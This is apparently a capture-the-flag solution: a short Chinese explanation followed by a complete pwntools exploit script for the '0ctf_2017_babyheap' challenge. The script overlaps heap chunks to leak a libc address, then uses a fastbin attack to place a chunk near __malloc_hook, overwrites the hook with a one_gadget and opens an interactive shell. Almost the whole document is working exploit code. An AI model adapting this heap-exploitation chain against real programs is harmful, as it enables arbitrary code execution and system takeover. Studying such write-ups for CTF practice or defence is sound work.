然后我们再设计一个0x68大小的chunk,释放后用它上方的chunk的任意长度写更改其fd指针,这样我们就能实现fastbin attack,将其分配到__malloc_hook-0x23处(这是一个固定的漏洞地址),这样就可以绕过size位检查,更改__malloc_hook为one_gadget
# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes
from pymao import *
pss: bool = False
fn: str = "./0ctf_2017_babyheap"
libc_name: str = "/home/kali/share/share_files/security/buuctf_libc/libc-2.23_64.so"
port: str = "25886"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if pss:
p = remote("node4.buuoj.cn", port)
else:
if if_debug:
p = gdb.debug(fn, """
break main
c
""")
else:
p = process(fn, env=env)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)
def suclog(*args, **kwargs):
for k in args:
v = globals()[k]
if isinstance(v, int):
success(f"{k} => {hex(v)}")
else:
success(f"{k} => {v}")
for k, v in kwargs.items():
if isinstance(v, int):
success(f"{k} => {hex(v)}")
else:
success(f"{k} => {v}")
def send_after_clean(content: bytes = b"", until: bytes = None,\
timeout: float = 0.05, no_show: bool = True):
if until is not None:
p.recvuntil(flat(until))
else:
received = p.clean(timeout)
if not no_show:
print(f"[$]received:\n{received.decode('UTF-8')}")
p.send(flat(content))
def sendline_after_clean(content: bytes = b"", until: bytes = None,\
timeout: float = 0.05, no_show: bool = True):
send_after_clean([content, p.newline], until, timeout, no_show)
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
received = p.clean(timeout)
if not no_show:
print(f"[$]received:\n{received}")
p.interactive()
def c_val(value: int, c_type: string) -> bytes:
type_dict = {
"long": ctypes.c_long,
"longlong": ctypes.c_longlong,
"ulong": ctypes.c_ulong,
"ulonglong": ctypes.c_ulonglong,
"int8": ctypes.c_int8,
"int16": ctypes.c_int16,
"int32": ctypes.c_int32,
"int64": ctypes.c_int64,
"uint8": ctypes.c_uint8,
"uint16": ctypes.c_uint16,
"uint32": ctypes.c_uint32,
"uint64": ctypes.c_uint64,
"int": ctypes.c_int,
"char": ctypes.c_char,
"bool": ctypes.c_bool,
"float": ctypes.c_float,
"double": ctypes.c_double,
"ushort": ctypes.c_ushort,
"byte": ctypes.c_byte,
"longdouble": ctypes.c_longdouble,
"size_t": ctypes.c_size_t,
"ssize_t": ctypes.c_ssize_t,
"ubyte": ctypes.c_ubyte
}
try:
return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
except:
try:
return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
except:
error(f"无法转换{value}或不存在类型{c_type}")
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
return ctypes.CDLL(libc_name, args, kwargs)
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
is_canary: bool = False, bound: str = None, drop_bound: bool = True) -> int:
if prev_string is not None:
p.recvuntil(flat(prev_string))
if bound is not None:
bound = flat(bound)
if from_bytes:
if bound is not None:
return ug(p.recvuntil(bound)[:-len(bound)]) if drop_bound else p.recvuntil(bound)
if if_32:
return ug(p.recv(4))
else:
if is_canary:
return ug(p.recv(7).rjust(8, b"\x00"))
else:
return ug(p.recv(6).ljust(8, b"\x00"))
else:
if bound is not None:
return int(p.recvuntil(bound)[:-len(bound)], 16) if drop_bound else p.recvuntil(bound)
else:
if if_32:
return int(p.recv(10), 16)
else:
if is_canary:
return int(p.recv(18), 16)
else:
return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
if isinstance(formula, bytes):
formula = formula.decode("UTF-8")
formula = formula.strip()
formula = formula.strip("\n")
formula = formula.replace("x", "*")
formula = formula.replace("^", "**")
formula = formula.replace("÷", "/")
if not precise:
formula = formula.replace("//", "/")
formula = formula.replace("/", "//")
return bytes(str(eval(formula)), encoding="UTF-8")
...
def allocate(size: int) -> None:
sendline_after_clean(b"1")
# sendline_after_clean(str(index))
sendline_after_clean(str(size))
def remove(index: int) -> None:
sendline_after_clean(b"3")
sendline_after_clean(str(index))
def show(index: int):
sendline_after_clean(b"4")
sendline_after_clean(str(index))
def change(index: int, content: bytes) -> None:
sendline_after_clean(b"2")
sendline_after_clean(str(index))
sendline_after_clean(str(len(content)))
send_after_clean(content)
allocate(0x10) # 0
allocate(0x10) # 1
allocate(0x80) # 2
allocate(0x30) # 3
allocate(0x68) # 4
allocate(0x10) # 5
# gdb.attach(p)
payload = flat({0x10:[
pg(0), pg(0xB1)
]})
change(0, payload)
# gdb.attach(p)
remove(1) # -1
payload = flat([
pg(0)*3, pg(0x91)
])
allocate(0xA0) # 1
change(1, payload)
remove(2) # -2
# gdb.attach(p)
show(1)
p.recvuntil("Content: \n")
p.recv(0x20)
libc_addr = recv_and_transform() -0x3c4b78
hook_addr = libc_addr + libc.sym['__malloc_hook']
chunk_addr = hook_addr - 0x23
one_gadget = libc_addr + 0x4526a
suclog(
"libc_addr",
"hook_addr",
"chunk_addr",
"one_gadget",
)
payload = flat([
pg(0)*7, pg(0x71),
pg(chunk_addr)
])
remove(4) # -4
change(3, payload)
allocate(0x68) # 2
allocate(0x68) # 4
payload = flat({(0x13):[
one_gadget
]})
change(4, payload)
# gdb.attach(p)
allocate(0x100)
interactive_after_clean()